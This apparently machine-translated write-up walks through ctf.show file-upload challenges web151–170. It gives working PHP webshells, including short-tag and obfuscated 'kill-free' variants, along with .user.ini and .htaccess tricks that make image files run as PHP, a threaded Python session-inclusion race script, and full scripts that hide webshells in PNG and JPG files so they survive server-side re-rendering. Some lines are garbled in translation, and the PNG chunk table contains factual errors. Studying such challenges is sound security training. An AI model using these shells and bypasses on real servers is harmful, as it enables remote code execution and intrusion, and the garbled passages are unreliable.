web151 front bypass
Simply change exts:png to php on the front end
exts:'php'
visit
/upload/shell.php?shell=system("tac ../flag.php");
Web152 content type bypass
Instead of changing the front end this time, change the content type directly in bp to image/png
Summarize the common content type types
Common media format types are as follows: text/html : HTML format text/plain : Plain text format text/xml : XML format image/gif : gif Picture format image/jpeg : jpg Picture format image/png: png Picture format
more: link
web153-user.ini
The backend only detects PHP, which is not case sensitive. Although it is said that it is passed on, it is found that things are not as simple as expected, because the file is directly downloaded when accessing shell.pHp, indicating that the file is not parsed
You can use the fuzzy dictionary and recommend the fuzzy dicts master
It is found that. user.ini can be uploaded
since PHP 5.3.0 Up, PHP Support per directory INI File configuration. Such files are only CGI/FastCGI SAPI handle. This feature enables PECL of htscanner Extension void. If your PHP Run in modularity Apache Inside, use .htaccess Files have the same effect. Except the Lord php.ini outside, PHP It will also be scanned under each directory INI File, from executed PHP The directory where the file is located began to rise to web Root directory( $_SERVER['DOCUMENT_ROOT'] Specified). If executed PHP File in web Outside the root directory, only the directory is scanned. stay .user.ini Stylized INI Only files with PHP_INI_PERDIR and PHP_INI_USER Patterned INI Settings can be recognized.
When in PHP_INI_PERDIR and PHP_ INI_ In user mode, the user.ini in the directory is equivalent to the description of the directory, and the settings in user.ini will be identified first
The. user.ini file has two special settings
auto_append_file Equivalent to in each php Add at the end of the document include("xxxx") auto_prepend_file Equivalent to file header plus include("xxx")
Utilization method
First upload a file with a one sentence picture of the Trojan horse
Then upload the user.ini file containing the settings
auto_append_file="/var/www/html/upload/shell.png"
As mentioned earlier, user.ini works only when it is in the directory. If there is no PHP file in the directory, it will not work. index.php exists in upload
Execute the command to get the flag
web154 short tag bypass
Tip: the backend cannot perform single two verification
Uploaded a one sentence Trojan named shell.png and found a prompt
The file content should be filtered
The first is to test the PHP tag
<?php ?>
It is found that the deleted files can be uploaded successfully. Just like the above question, upload. user.ini and shell.png files. The content of PNG files is one sentence. The upload order of these two files does not matter. user.ini takes effect in real time and does not need to be restarted by apache. user.ini does not need to be changed after uploading. PNG files can be overwritten as long as the file name is correct
Try bypassing with short tags
<? echo '123';?>
The premise is to enable the configuration parameter short_open_tags=on
Test failed
<?=(expression)?> Equivalent to <?php echo (expression)?>
shell.png Document content:<?=(`nl ../f*`)?>
Test successful
<% echo '123';%>
The premise is to enable the configuration parameter asp_tags=on. After testing, it is found that versions 7.0 and above cannot be used after modification, but 500 errors are reported. However, versions below 7.0 can be used after modifying the configuration.
The discovery is not effective
<script language="php">echo '123'; </script>
There is no need to modify the parameter switch, but it can only be used below 7.0
php
Use the second method
web155 short tag bypass 2
Upload prompt: file upload failed. Failure reason: the file type is not compliant
Found PHP version 5.6 ok
The label on the question can be used
Upload. user.ini, content
auto_append_file="/var/www/html/upload/shell.png"
Upload shell.png, content
<?=(`nl ../f*`)?> The test found that short labels are also OK <? echo `tac ../f*`;?>
web156 bypass []
On the basis of the above question, the file content has added filtering and fuzz y
It is found that [has been filtered, and in the picture horse we passed in, a sentence is required for the Trojan horse to accept the parameter $_GET []
The first method is to execute the command directly
<?=(`nl ../f*`)?>
The second method
Replace []
Picture content <? = Eval ($_post {1});? >
web157-159 bypass {} and;
On the basis of the above question, {} and semicolons are added to the file content
Execute command directly
<?=(`nl ../f*`)?>
web160 - bypass backquotes
After fuzz ing, I found that () parentheses are filtered, backquotes and some keywords
You can use the log to contain and bypass the picture content
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
Because the log is filtered, it is bypassed by splicing
Same as before
View source code
web161 - add header
On the basis of the previous question, add the file header GIF89A. It's strange that the front-end filters png, but the file header needs GIF file
The web162-163 session file contains
I learned to upload files at the file inclusion, and included files using session.upload_progress
The uploaded content should start with GIF89A and contain png string
Upload. user.ini first
When uploading png pictures, the flag string cannot appear in the content
Construction front end
<!DOCTYPE html> <html> <body> <form action="ip address" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
If the browser keeps visiting / upload /, it is possible to brush out the flag
You can also use python scripts
import requests import threading session=requests.session() sess='yu22x' url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/" url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload" data1={ 'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>' } file={ 'file':'yu22x' } cookies={ 'PHPSESSID': sess } def write(): while True: r = session.post(url1,data=data1,files=file,cookies=cookies) def read(): while True: r = session.get(url2) if 'flag' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
Web164 PNG secondary rendering bypass
It is found that after successful upload, it is not accessed in the form of directory, but a file pointer
Note: there may be files containing, we only need to upload a picture
Make picture horse
copy shell.gif /b + shell.php /a 111.gif
Download the uploaded picture and find that the picture content has changed, indicating that the background has rendered the picture twice
Different picture formats have different effects on secondary rendering
- GIF
For the secondary rendering that bypasses gif, you only need to find the position that has not changed before and after rendering, and then write the php code in, and you can successfully upload the image with php code
- PNG
png picture consists of more than three data blocks.
Png defines two types of data blocks, one is called critical chunks, which are standard data blocks, and the other is called auxiliary chunks, which are optional data blocks. Key data blocks define three standard data blocks (IHDR,IDAT, IEND), and each PNG file must contain them.
Data block structure
name | Number of bytes | explain |
---|---|---|
Length | 4 bytes | Specifies the length of the data field in the data block, and its length does not exceed (31st power of 2 - 1) bytes |
Chunk Type Code | 4 bytes | The block type code consists of ASCII letters (A-Z and A-Z) |
Chunk Data | Variable length | Stores data specified by Chunk Type Code |
CRC (cyclic redundancy detection) | 4 bytes | Stores cyclic redundancy codes used to detect errors |
The value in CRC(cyclic redundancy check) field is calculated from the data in Chunk Type Code field and Chunk Data field. The specific CRC algorithm is defined in ISO 3309 and ITU-T V.42, and its value is calculated according to the following CRC code generation polynomial:
x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1
Analysis data block
IHDR
Data block IHDR(header chunk): it contains the basic information of the image data stored in the PNG file and appears in the PNG data stream as the first data block, and there can only be one file header data block in a PNG data stream.
The file header data block consists of 13 bytes, and its format is as follows.
Name of the domain | Number of bytes | explain |
---|---|---|
Width | 4 bytes | Image width in pixels |
Height | 4 bytes | Image height in pixels |
Bit depth | 1 bytes | Image attempt: index color image: 1, 2, 4 or 8 gray image: 1, 2, 4, 8 or 6 true color image: 8 or 16 |
ColorType | 1 bytes | Color type: grayscale image: 1, 2, 4, 8 or 16 true color image: 8 or 16 index color image: 1, 2, 4 or 8 grayscale image with a-channel data: 8 or 16 true color image with a-channel data: 8 or 16 |
Compression method | 4 bytes | Compression method (LZ777 derived algorithm) |
Filter method | 4 bytes | Filter method |
Interlace method | 4 bytes | Interlaced method: non interlaced method (7-pass interlaced method developed by Adam M.Costello) |
PLTE
The palette PLTE data block is an auxiliary data block. For the index image, the palette information is necessary. The color index of the palette is numbered from 0, followed by 1, 2... And the number of colors in the palette cannot exceed the number of colors specified in the color depth (for example, when the image color depth is 4, the number of colors in the palette cannot exceed 2 ^ 4 = 16). Otherwise, this will lead to the illegal PNG image.
IDAT
Image data chunk IDAT(image data chunk): it stores actual data and can contain multiple image data chunks in continuous order in the data stream.
IDAT stores the real data information of the image. Therefore, if we can understand the structure of IDAT, we can easily generate PNG images
IEND
End of image data iend (image tracker chunk): it is used to mark that the PNG file or data stream has ended and must be placed at the end of the file.
If we carefully observe the PNG file, we will find that the 12 characters at the end of the file should always look like this:
00 00 00 00 49 45 4E 44 AE 42 60 82
Two ways of making png Trojan horse with secondary rendering
First method: write PLTE data block
The bottom layer of php mainly performs CRC verification when verifying PLTE data blocks, so you can insert php code in the chunk data field, then recalculate the corresponding CRC value and modify it.
This method is only effective for png pictures of indexed color images. When selecting png pictures, you can identify. 03 as indexed color images according to the color type of IHDR data block.
1. Write php code in PLTE data block;
2. Calculate CRC of PLTE data block;
CRC script
import binascii import re png = open(r'2.png','rb') a = png.read() png.close() hexstr = binascii.b2a_hex(a) ''' PLTE crc ''' data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0] crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff print hex(crc)
Operation results:
526579b0
4. Verification;
Upload the modified png image, download it to the local and then open it.
The second method is to write the IDAT data block
Here are scripts written by foreign Daniel, which can be run directly.
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); /* Trojan content <?$_GET[0]($_POST[1]);?> */ ?>
After running, get 1.png, upload it and then download it locally, as shown in the following figure:
- JPG
Script jpg_payload.php
<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
1. Just find a JPG picture, upload it to the server, then download it locally and save it as 1.jpg
2. Insert php code; Use script to process 1.jpg, command:
php jpg_payload.php 1.jpg
3. Upload pictures of horses; The resulting payload_1.jpg upload.
Note: some jpg images cannot be processed, so try more jpg images
The above quote is from Fujie blog
Specific to this problem, you can upload png files. Try png secondary rendering first
Execute the script bypassed by png secondary rendering to generate 1.png upload and access with command
The returned photo is also a photo. Download the photo and open it with 010
It can be accessed directly in burp, which is more intuitive
Web165 JPG secondary rendering bypass
It is found that JPG files can be uploaded when uploading files, which is probably bypassed by the secondary rendering of jpg
First upload a JPG image, then download it locally and rename it to 1.jpg, and then generate a payload using the JPG script above_ 1.jpg
010 opens and finds that the content has been added and the picture color has changed
The url finds that the image cannot be accessed, which actually indicates that the php code has been parsed
Use burp to capture packets and view flag s
web166 - packet capture content
You can see the restriction in the front-end code that you can only upload files in zip format
Casually upload a file and find that it is still included with the file pointer. There is a File Inclusion Vulnerability
Upload the zip file and change the packet capture into one sentence
Then use burp to access
web167-.htaccess bypass
Tip: httpd
It is found that only jpg files can be uploaded when uploading a file casually, and the file is not in the included form, but in the directory form
. htaccess file upload
The. htaccess file (or "distributed configuration file") provides a method to change the configuration for a directory, that is, a file containing one or more instructions is placed in a specific document directory to act on this directory and all its subdirectories
Similar to. user.ini
jpg files can be parsed by uploading. htaccess files
Method 1
AddType application/x-httpd-php .png //Parse the. png suffix file into php
Method 2
<FilesMatch "png"> SetHandler application/x-httpd-php </FilesMatch>
If the flag is not a php file, you can also load a file in the current directory like. user.ini
php_value auto_append_file 'flag'
Upload the. htaccess file first
Upload picture horse
Access command executed successfully
web168 - kill free bypass
The back-end detects the file content, but does not check the file name
Upload free horse
Other free horses
<?php $a = "s#y#s#t#e#m"; $b = explode("#",$a); $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5]; $c($_REQUEST[1]); ?>
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
<?php $a=$_REQUEST['a']; $b=$_REQUEST['b']; $a($b); ?>
web169-170.user.ini contains the log file
The front-end restricts uploading to zip files, but zip files can't be uploaded. Read wp.
First upload a zip, then capture the package, change the content type to image/png, and transfer it to php and other formats. However, it is found that the file content is filtered by < > php$
It is found that the. user.ini file can be uploaded
For log file inclusion, the ua header is a one sentence Trojan horse
<?php @eval($_POST['shell']);?> // Note that the shell string is wrapped in single quotation marks and an error is reported in double quotation marks
Upload a php file casually. The content is arbitrary. Pay attention to the content type
Use the ant sword to connect
Or execute the command directly in the browser, but it's hard to find because of the large amount of data
Reference link
Master Yu: https://blog.csdn.net/miuzzx/article/details/109537262
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html